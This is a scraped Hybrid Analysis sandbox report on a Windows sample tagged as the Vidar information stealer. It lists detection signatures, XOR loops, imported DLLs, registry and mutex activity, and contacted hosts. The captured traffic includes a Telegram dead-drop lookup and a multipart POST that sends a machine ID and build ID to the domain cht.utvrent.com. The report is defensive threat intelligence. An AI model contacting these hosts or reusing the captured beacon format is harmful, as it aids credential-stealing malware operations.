no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "Language" in header "GET /t0mdr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "telegram" in header "GET /t0mdr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Host: telegram.me" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fbAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0Content-Length: 345Host: cht.utvrent.com"2e:T42b,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to decrypt/decode data Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match - AES encryption2f:Tfba,Found XOR loop in file "sample.bin" at offset 95058; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1476849; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1493489; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1498353; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1518319; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1566456; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1605413; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2401828; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2751989; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 427705; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1504921; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1515997; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1525821; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1573386; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1596953; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1613817; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1635677; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1665817; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1697785; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1980025; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2339737; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2819426; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 533; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5966; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5977; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5997; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6016; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6062; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6069; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6080; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6112; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 191670; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 229481; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 229841; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230241; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 232403; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 254993; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 275120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 417701; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 418397; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419038; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 429417; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1067264; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1076552; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1343832; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2323566; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2385869; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2591956; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2885044; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2887984; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2920636; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2987592; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3197396; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3222673; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3242488; code bytes = 803030:T9f2," HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Mon 22 Jun 2026 09:35:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4423 Connection: keep-alive Set-Cookie: stel_ssid=0745ae798fa12f2100_1480709069211478825; expires=Tue 23 Jun 2026 09:35:36 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Content-Encoding: gzip Strict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C.......36:T8fc," "------5d36cf69ef55e93d38fbContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-022BD9E------5d36cf69ef55e93d38fbContent-Disposition: form-data; name="build_id"62da7dcd35f91ae5bab7b1fb35ce2248------5d36cf69ef55e93d38fbContent-Disposition: form-data; name="format"json------5d36cf69ef55e93d38fb--" HTTP/1.1 200 OK Date: Mon 22 Jun 2026 09:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uNZJRSFm9xlS27DmnhLa%2FXwO89w1KZpnuObv%2BsyOpexkG31AqIMU8K%2FlUwqyr%2FkGu1UuZLj9CECkca%2Fh%2BcaXd83oOVy63n8JueBHEn5C1bSzh5AS%2FS7RCzQKgQFTwsahacM%3D"}]} Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Content-Encoding: gzip CF-RAY: a0fa438f8f574f1b-SJC alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......45:Td0c," tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Sets the 'ThreadHideFromDebugger' thread data structure","description":"\" \"------5d36cf69ef55e93d38fbContent-Disposition: form-data; name=\"hwid\"23EBD35BE7F8D3C20DA4-d27478a5-2058-022BD9E------5d36cf69ef55e93d38fbContent-Disposition: form-data; name=\"build_id\"62da7dcd35f91ae5bab7b1fb35ce2248------5d36cf69ef55e93d38fbContent-Disposition: form-data; name=\"format\"json------5d36cf69ef55e93d38fb--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Sets the 'ThreadHideFromDebugger' thread data structure"}],"sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}]},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":51,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["commodity","vidarstealer","credentialharvesting","criminal","informationstealer","downloader","evasive"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6a3901c8e4178606e8059bd9","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":81,"malware_family":"W64.Evo","contacted_countries":["DEU","GBR"],"submit_name":"d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin","analysis_start_time":"2026-06-22T09:35:06+00:00","indicators_count":{"informative":151,"suspicious":26,"malicious":2},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"91.98.109.24","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"address":"172.67.133.13","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}],"dns_resolutions":[{"domain":"cht.utvrent.com","address":"172.67.133.13","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"domain":"telegram.me","address":"149.154.167.99","ttl":17,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}],"http_requests":[{"host":"telegram.me","host_ip":"149.154.167.99:443","url":"/t0mdr","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /t0mdr HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0\nHost: telegram.me","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"host":"cht.utvrent.com","host_ip":"172.67.133.13:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----5d36cf69ef55e93d38fb\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0\nContent-Length: 345\nHost: cht.utvrent.com","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}],"processes":[{"pid":6436,"ppid":0,"name":"d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin.exe","command_line":"","sha256":"d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296","normalized_path":"C:\\d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296.bin.exe","uid":"00000000-00006436","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["winnsi.dll","sspicli.dll","mskeyprotect.dll","bcrypt.dll","ntasn1.dll","gpapi.dll","dpapi.dll","ws2_32.dll","ucrtbase.dll","shlwapi.dll","winmm.dll","ncrypt.dll","imm32.dll","winmmbase.dll","cryptsp.dll","apphelp.dll","VxSSL64.dll","gdi32.dll","gdi32full.dll","advapi32.dll","fltLib.dll","user32.dll","ole32.dll","oleaut32.dll","OnDemandConnRouteHelper.dll","mswsock.dll","nsi.dll","rasadhlp.dll","kernel32.dll","powrprof.dll","schannel.dll","rsaenh.dll","cfgmgr32.dll","KernelBase.dll","win32u.dll","bcryptprimitives.dll","IPHLPAPI.DLL","msasn1.dll","dnsapi.dll","ncryptsslp.dll","ntdll.dll","msvcp_win.dll","webio.dll","crypt32.dll","FWPUCLNT.DLL","cryptbase.dll","rpcrt4.dll","msvcrt.dll","sechost.dll","combase.dll","winhttp.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]},{"name":"Gernsoalse","sources":[{"report_type":"sandbox","report_id":"6a3901c8e4178606e8059bd9"}]}]}},"report_ids":{"sandbox_job_ids":["6a3901c8e4178606e8059bd9"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Win/malicious_confidence_90% Sample d3edc0c8ca14… — Score 81/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d3edc0c8ca14…. Malware family: Win/malicious_confidence_90%. Threat score 81/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_90% Sample d3edc0c8ca14… — Score 81/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d3edc0c8ca14…. Malware family: Win/malicious_confidence_90%. Threat score 81/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d3edc0c8ca141d1a7e1f93f4d727f92e0e63bba43cac95723d9a20467e790296"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_90% Sample d3edc0c8ca14… — Score 81/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d3edc0c8ca14…. Malware family: Win/malicious_confidence_90%. Threat score 81/100. 2/27 AV engines flagged this file. 2 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L48","11",{}]]